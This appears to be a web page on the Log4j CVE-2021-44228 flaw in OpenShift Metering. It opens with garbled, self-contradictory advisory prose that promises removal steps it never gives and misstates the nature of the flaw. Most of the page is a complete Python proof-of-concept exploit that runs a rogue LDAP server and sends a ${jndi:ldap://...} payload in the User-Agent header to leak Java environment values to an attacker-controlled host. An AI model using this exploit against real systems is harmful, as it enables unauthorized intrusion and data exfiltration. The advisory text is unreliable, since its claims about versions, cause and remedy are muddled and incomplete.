It does not affect OpenShift Enterprise or the standalone OpenShift Enterprise command line interface (CLI) application. The fix for this issue will be included in Open source release 5.6, and Open enterprise release 5.6. The fix will be included in releases 4.8, 4.7 and 4.6 to be released in the coming weeks. In the meantime, you can remove the JndiLookup.class file from your OpenShift Metering container image, as follows:

In addition to this, the fix for CVE-2021-44228 in OpenShift Enterprise does not affect OpenShift Enterprise command line interface (CLI) application, as the flaw only exists in the OpenShift Metering hive container image.
Risk of data leakage through OpenShift Metering endpoints

What is OpenShift Metering?

OpenShift Metering is the component of OpenShift used to monitor and collect data from your applications. It includes a number of components, including web services that provide REST interfaces for monitoring and controlling your application, and a graphical user interface (GUI).
OpenShift Meters report data back to OpenShift Standard Metering. So, if you are looking at lowering your costs without having to lose any data or functionality, you should use this release as an opportunity to upgrade the Standard Metering component.

OpenShift Metering Flaw and its Risk to an Organization

An OpenShift Metering flaw could lead to data being leaked through endpoints in the event that a user does not use an encrypted connection when connecting. When this happens, an attacker could potentially steal access tokens from the system and gain unauthorized access to resources.
The OpenShift Metering image was not designed with security in mind, and so it was not possible to provide a secure interface to the endpoint. The result is that any app deployed on the Metering server could have been exposed. This issue has been addressed by changing the JNDI endpoint in the OpenShift Metering image, so apps using that endpoint should be secured as needed.
OpenShift 5.6 will be released soon with this fix included. We recommend that you do not run applications on this image until it has been released.

Exploit

# Exploit Title: Apache Log4j2 2.14.1 - Information Disclosure
# Date: 12/12/2021
# Exploit Author: leonjza
# Vendor Homepage: https://logging.apache.org/log4j/2.x/
# Version: <= 2.14.1
# CVE: CVE-2021-44228

#!/usr/bin/env python3

# Pure python ENV variable leak PoC for CVE-2021-44228
# Original PoC: https://twitter.com/Black2Fan/status/1470281005038817284
#
# 2021 @leonjza

import argparse
import socketserver
import threading
import time

import requests

LDAP_HEADER = b'\x30\x0c\x02\x01\x01\x61\x07\x0a\x01\x00\x04\x00\x04\x00\x0a'


class ThreadedTCPRequestHandler(socketserver.BaseRequestHandler):
    def handle(self) -> None:
        print(f' i| new connection from {self.client_address[0]}')

        sock = self.request
        sock.recv(1024)
        sock.sendall(LDAP_HEADER)

        data = sock.recv(1024)
        data = data[9:]  # strip header

        # example response
        #
        # ('Java version 11.0.13\n'
        #  '\x01\x00\n'
        #  '\x01\x03\x02\x01\x00\x02\x01\x00\x01\x01\x00\x0b'
        #  'objectClass0\x00\x1b0\x19\x04\x172.16.840.1.113730.3.4.2')

        data = data.decode(errors='ignore').split('\n')[0]
        print(f' v| extracted value: {data}')


class ThreadedTCPServer(socketserver.ThreadingMixIn, socketserver.TCPServer):
    pass


def main():
    parser = argparse.ArgumentParser(description='a simple log4j
<=2.14 information disclosure poc '
                                                 '(ref:
https://twitter.com/Black2Fan/status/1470281005038817284)')
    parser.add_argument('--target', '-t', required=True, help='target uri')
    parser.add_argument('--listen-host', default='0.0.0.0',
                        help='exploit server host to listen on
(default: 127.0.0.1)')
    parser.add_argument('--listen-port', '-lp', default=8888,
help='exploit server port to listen on (default: 8888)')
    parser.add_argument('--exploit-host', '-eh', required=True,
default='127.0.0.1',
                        help='host where (this) exploit server is reachable')
    parser.add_argument('--leak', '-l', default='${java:version}',
                        help='value to leak. '
                             'see:
https://twitter.com/Rayhan0x01/status/1469571563674505217 '
                             '(default: ${java:version})')
    args = parser.parse_args()

    print(f' i| starting server on {args.listen_host}:{args.listen_port}')
    server = ThreadedTCPServer((args.listen_host, args.listen_port),
ThreadedTCPRequestHandler)

    serv_thread = threading.Thread(target=server.serve_forever)
    serv_thread.daemon = True
    serv_thread.start()
    time.sleep(1)
    print(f' i| server started')

    payload = f'${{jndi:ldap://{args.exploit_host}:{args.listen_port}/{args.leak}}}'
    print(f' i| sending exploit payload {payload} to {args.target}')

    try:
        r = requests.get(args.target, headers={'User-Agent': payload})
        print(f' i| response status code: {r.status_code}')
        print(f' i| response: {r.text}')
    except Exception as e:
        print(f' e| failed to make request: {e}')
    finally:
        server.shutdown()
        server.server_close()


if __name__ == '__main__':
    main()

Timeline

Published on: 08/24/2022 16:15:00 UTC
Last modified on: 08/29/2022 14:26:00 UTC

References